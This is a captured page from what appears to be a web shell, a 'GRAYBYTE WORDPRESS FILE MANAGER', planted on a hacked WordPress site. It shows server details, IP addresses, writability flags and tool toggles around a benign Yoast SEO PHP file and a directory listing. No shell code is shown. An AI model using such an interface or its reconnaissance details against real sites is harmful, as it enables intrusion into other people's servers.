✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/inlite/application//aggregate-site-schema-map-command-handler.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application;

use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map\Schema_Map_Builder;
use Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map\Schema_Map_Xml_Renderer;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Repository_Factory;

/**
 * Class that handles the command to aggregate site schema map.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Aggregate_Site_Schema_Map_Command_Handler {

	/**
	 * The schema map factory.
	 *
	 * @var Schema_Map_Repository_Factory
	 */
	private $schema_map_repository_factory;

	/**
	 * The schema map builder.
	 *
	 * @var Schema_Map_Builder
	 */
	private $schema_map_builder;

	/**
	 * The schema map XML renderer.
	 *
	 * @var Schema_Map_Xml_Renderer
	 */
	private $schema_map_xml_renderer;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Aggregate_Site_Schema_Map_Command_Handler constructor.
	 *
	 * @param Schema_Map_Repository_Factory $schema_map_repository_factory The schema map factory.
	 * @param Schema_Map_Builder            $schema_map_builder            The schema map builder.
	 * @param Schema_Map_Xml_Renderer       $schema_map_xml_renderer       The schema map XML renderer.
	 * @param Indexable_Helper              $indexable_helper              The indexable helper.
	 */
	public function __construct( Schema_Map_Repository_Factory $schema_map_repository_factory, Schema_Map_Builder $schema_map_builder, Schema_Map_Xml_Renderer $schema_map_xml_renderer, Indexable_Helper $indexable_helper ) {
		$this->schema_map_repository_factory = $schema_map_repository_factory;
		$this->schema_map_builder            = $schema_map_builder;
		$this->schema_map_xml_renderer       = $schema_map_xml_renderer;
		$this->indexable_helper              = $indexable_helper;
	}

	/**
	 * Handles the Aggregate_Site_Schema_Map_Command.
	 *
	 * @param Aggregate_Site_Schema_Map_Command $command The command.
	 *
	 * @return string The schema map xml.
	 */
	public function handle( Aggregate_Site_Schema_Map_Command $command ): string {

		$schema_map_repository = $this->schema_map_repository_factory->get_repository( $this->indexable_helper->should_index_indexables() );
		$indexable_counts      = $schema_map_repository->get_indexable_count_per_post_type( $command->get_post_types() );

		$schema_map = $this->schema_map_builder
			->with_repository( $schema_map_repository )
			->build( $indexable_counts );

		return $this->schema_map_xml_renderer->render( $schema_map );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
19 Sep 2026 1.57 PM
docteuh / users
0755
Utils
--
11 Sep 2026 9.52 PM
docteuh / users
0755
cli
--
16 Sep 2026 3.14 AM
docteuh / users
0755
enhancement
--
10 Sep 2026 3.11 PM
docteuh / users
0755
markdown
--
12 Sep 2026 3.07 AM
docteuh / users
0755
meta
--
10 Sep 2026 3.11 PM
docteuh / users
0755
schema_map
--
11 Sep 2026 6.03 PM
docteuh / users
0755
aggregate-site-schema-command-handler-20260911214333.php
2.158 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-command-handler.php
2.158 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-command.php
0.917 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-map-command-handler.php
2.67 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-map-command.php
0.762 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-fusion-dynamic-data.php
78.321 KB
20 Nov 2023 7.14 PM
docteuh / users
0644
consent-endpoints-repository.php
0.635 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
consent-handler-interface.php
0.701 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
consent-handler.php
1.188 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
properties-merger.php
5.118 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-aggregator-announcement.php
1.454 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-pieces-aggregator.php
2.238 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
scrollbar.min.css
0.323 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF